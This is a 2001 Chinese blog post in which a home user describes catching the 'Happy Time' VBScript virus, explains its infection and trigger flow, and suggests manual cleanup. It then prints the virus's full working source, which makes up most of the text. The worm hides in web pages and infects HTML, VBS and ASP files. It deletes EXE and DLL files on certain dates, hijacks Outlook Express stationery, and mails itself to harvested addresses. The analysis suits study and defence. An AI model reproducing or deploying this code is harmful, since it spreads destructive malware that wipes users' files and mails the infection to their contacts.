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浅析欢乐时光(HAPPY TIME)病毒

发表于2001/5/13 22:06:00  1364人阅读

浅析欢乐时光(HAPPY TIME)病毒


徐广圻
01-5-11 下午 02:19:25


本人是个上网新手,今年四月份左右才开始上网。新手嘛,可不像高手那样,懂得如何使自己的电脑免受网络病毒之害,只使了个瑞星杀毒软件,以为如此一来就万事大吉了。刚开始上网时,简直在五光十色的各网站及信息的海洋中迷了路,东走西瞧,看见感兴趣的网页就保存,遇见有趣的软件即下载,想必列位初次上网时也如此吧。
沉醉于互联网带来的乐趣之中没几天,我的爱机就出现了异常:每隔十几秒钟,鼠标指针旁就出现一个沙漏图标一闪,似乎电脑在执行什么程序,可我关闭了一切程序,只剩了个WINDOWS桌面也无济于事,在此期间,电脑速度大幅下降,运行任何软件都是老半天才出画面,且每隔十几秒钟就停顿一下,无奈只得重启,但一选择了重新启动,电脑就没了反应,就在我以为死机时,跳出来个错误信息框说是内存严重不足?!天哪,我的爱机可是有256M内存呢!按CTRL+ALT+DEL键,出现关闭程序对话框,我在其中发现了几百个不明任务,都标着WSCRIPT。。。字样。看来电脑患上了瑞星也查不出的新病毒了。
此后的几天是段痛苦的经历,我让爱机拖着重病的身子在网上下载了一些杀毒软件,还好有一个金山毒霸的试用版,打开它的启发式查毒选项可以查出一未知病毒,但只能警告而不能杀除。偶然有一次,我打开一个保存在硬盘中的网页文件时也收到了警告,而其它网页文件则不警告,机会来了!我立即将其后缀名由HTM改为TXT,用记事本打开,在标记后露出了此病毒的庐山真面目。
病毒是用VBSCRIPT语言编写的,其第一行写着 I am sorry, happy time.(意为对不起您了,欢乐时光。真是气死人不偿命!恶作剧的混蛋口说"Sorry"祝人"欢乐"?!) 本人不懂VBSCRIPT语言,但曾学过VISUAL BASIC,再翻了一些VBSCRIPT的资料,一番临时抱佛脚后,开始解读病毒源程序。由于缺乏相应资料加之本人水平有限,不能读懂每一行代码,只能看出个大概,但我越分析越心惊,这是个仅浏览网站页面就会感染的高传染性,高破坏性的病毒!
先看一下此病毒的发病机制:
首次染毒时,会将WINDOWS / WEB文件夹里的所有网页文件染上病毒,并找出这些文件中的任何EMAIL地址向它们发送病毒邮件,对方只要一打开即会染毒;
以后每隔十秒钟发作一次,但发作完后仍驻留在内存,十秒一次的发作,再大的内存也会给蚕食殆尽;
每次发作时,在普通的日子里,会找出一个后缀名为HTML、HTM、VBS、ASP的文件传染(别小看了每次一个文件,它可是十秒一次的发作哟!),并查出此文件中所有的EMAIL地址发送病毒邮件,在月份加天数为13的"特殊"日子里(1月12日、2月11日......12月1日),它每次发作会找出一个后缀名为EXE、DLL的文件(通常为重要的系统文件)来删除,使你的电脑彻底瘫痪;
该病毒在WINDOWS注册表内保存已发作的次数,每次发作时它检查已发作次数,如其是366的倍数,则向外乱发病毒邮件:如系统时间的秒数是偶数,则发送系统邮件,如是奇数,则到OUTLOOK的默任目录里取得EMAIL地址发送病毒邮件。
顺便说一句,由于此病毒发作频繁且乱发EMAIL,到月底结帐时,你可能要多付一大笔冤枉钱。
现在我们来看看这可恶的病毒的结构,看它是如何使得我们在浏览网页时即染毒的。
前面提到过,该病毒是用VBSCRIPT语言写成的,翻了一些资料,才知道VBSCRIPT是一种能增强网页功能的脚本语言,它嵌入HTML文件中,你浏览网页时,它也与HTML文件一起调入内存,由浏览器解释并执行。所以在你看到网页时,它其中所含的VBSCRIPT代码(如果有的话)已被执行,这样就很容易被心怀叵测者用来编制破坏程序。VBSCRIPT的设计者们也考虑到了这点,因此VBSCRIPT被设计成VISUAL BASIC的简化版,舍弃了一些"危险的"语句命令,所以VBSCRIPT是"安全的",可用于网页的编制。确实光是VBSCRIPT的话确实无甚威胁,可是VBSCRIPT提供了创建并使用对象(OBJECT)功能,而WINDOWS提供大量对象给各种语言使用,利用这些对象你几乎能干任何事!比如说本病毒的许多破坏工作就是由创建并使用WSCRIPT(WINDOWS SCRIPT即WINDOWS脚本语言)对象来完成的,所以可以这样说:VBSCRIPT是不安全的,是危险的!欢乐时光病毒就是个最有力的见证!
言归正传,我们还是来看看病毒的结构。

初始化部分

初始化(建立SCRIPTLET.TYPELIB对象等)

     ↓  

当前是HTML状态?

是 ↙ ↘ 否

━━━━━━ ━━━━━━━

↓                   ↓

在WINDOWS目录下有HELP.VBS文件吗?  运行主发作程序         

                  ↓
              有 ↙ ↘ 无
           ━━━           ━━━━━━━
          ↓ (3)             ↓ (1)
设置为每10秒钟调用一次         将本文件中的病毒代码以HTML格式存为
HELP.VBS                       WINDOWS目录下的HELP.HTA文件,并调用HELP.HTA。
结束                            结束

主发作程序

 ↓

建立含有HTML,VBS,HTM,ASP的 后缀名表

当前是HELP.VBS运行状态?

(4) 是 ↙ ↘ 否 (2)

━━━━━━ ━━━━━━━

↓                     ↓

           如月+天为13则将后缀名表改为      用本病毒代码在WINDOWS目录下创
           只包含EXE,DLL;                 建HELP.VBS文件,及UNTITLE.HTM
                                            文件;
将注册表中的HKEY_CURRENT_USER
Software/Help/Count病毒发作计数加1;       修改HKEY_CURRENT_USER/Identities

                                           /用户标识号/Software/Microsoft

                                           /look Express/5.0/Mail/下的键值:
Software/Help/File_Name待感染文件名         Message Send HTML改为1
取出,并按后缀名表找出下一待感染文件,      Compose Use Stationery改为1
存于此处;                               Stationery Name改为指向 untitle.htm
查出其中的EMAIL地址发送病毒邮件;        在WINDOWS/WEB目录下查找HTML,VBS,

                                         HTM,ASP,HTT文件,在它们末尾如待  

                                         感染文件名是EXE,DLL文件则删除!

                                         末尾添加本病毒代码,并查出其中的

                                         EMAIL地址发送病毒邮件

用本病毒代码在WINDOWS目录下创建一个HTM文件并将其文件名写入HKEY_CURRENT_USER/Software/Help/Wallpaper及HKEY_CURRENT_USER/Control Panel/desktop/wallPaper
以上流程基本解释了其发病机制,现在我对流程上()内的数字作一下说明:
刚开始接触本病毒时,我们一定是处于浏览含病毒的网页状态,也即是流程上的HTML状态,且此时硬盘上尚未有HELP.VBS病毒文件,所以病毒执行(1)分支,建立HELP.HTA病毒文件,并调用它。然后在HELP.HTA病毒文件运行时,此时它已不处于HTML状态,所以运行主发作程序,在主发作程序中,由于此时不是HELP.VBS运行状态所以运行(2)分支并建立HELP.VBS病毒文件,以后再遇见本病毒时,由于已有了HELP.VBS病毒文件,就执行(3)分支,设定为每10秒钟执行一次HELP.VBS,而HELP.VBS会执行主发作程序的(4)分支,完成一系列破坏任务。
听说现在已有了能杀此病毒的软件,具体我也不清楚。如你像我一样已不幸染毒,在得到杀毒软件前,首先应注意在"特殊"日子里不要开机,以免爱机成为死机;另外从流程可看出,本病毒只感染后缀名为HTM,HTML,VBS,ASP(以及WINDOWS/WEB下的HTT文件),所以你开机只至WINDOWS桌面出现都是安全的,把桌面的墙纸设为无,再次重新启动,注意不要使用我的电脑或是WINDOWS资源管理器,因为它们每次运行都要装入许多文件,极有可能激活病毒,你要处理文档最好进入DOS状态,在DOS下操作;注意不要看任何帮助信息,因为很多帮助文件都是HTML格式的。如你是编程好手,你可编个程序,检查硬盘中所有受感染后缀名为HTM,HTML,VBS,ASP的文件,并清除病毒,如你不会编程,又无杀毒软件,你只能用查找功能查出所有后缀名为HTM,HTML,VBS,ASP的文件,然后一一手工操作:重命名为TXT文件,打开检查,如文件尾有病毒则删除,保存后再改回原来的文件名,然后是下一个.......
但我们还要上网,还要浏览,即使我们有了能杀欢乐时光病毒的软件,谁能保证哪个家伙不会再写出诸如此类的病毒使我们受害?看来只有等微软出个能禁止VBSCRIPT,JAVASCRIPT,ACTIVE X........的浏览器来了。就我个人而言,情愿不要任何特效,只要安全。
最后,奉上欢乐时光病毒的源程序,供有兴趣者参考,如哪位高人能参透此程序,也请发表解析结果,让我们对次类病毒有更深认识。
我对源程序作了必要的缩进处理,以方便阅读。
欢乐时光病毒的源程序:

<script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:/Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:/Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "/" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub

Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER/Software/"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:/help.htm") Then
Of.DeleteFile ("C:/help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help/Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help/Count", Cn + 1
f1 = Rg(Ks & "Help/FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help/FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help/FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")
If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "/Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "/" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help/wallPaper", n3
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "/Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")
oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook Express/5.0/Mail"
MSH = oe & "/Message Send HTML"
CUS = oe & "/Compose Use Stationery"
SN = oe & "/Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "/WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub

Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub

Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub

Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function

Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub

Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function

Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function

Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function

Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function

Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function

Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub

Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function

Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function

Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function

Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function

Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function

Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function

Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:/"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function

Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:/"
Else
Gsf = m
End If
End Function

Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function

Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function

Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function

Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function

Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function

Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "/Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub

Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function

Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "/Untitled.htm"
MM.Send
MS.SignOff
End Sub

Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function

Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function

</script>


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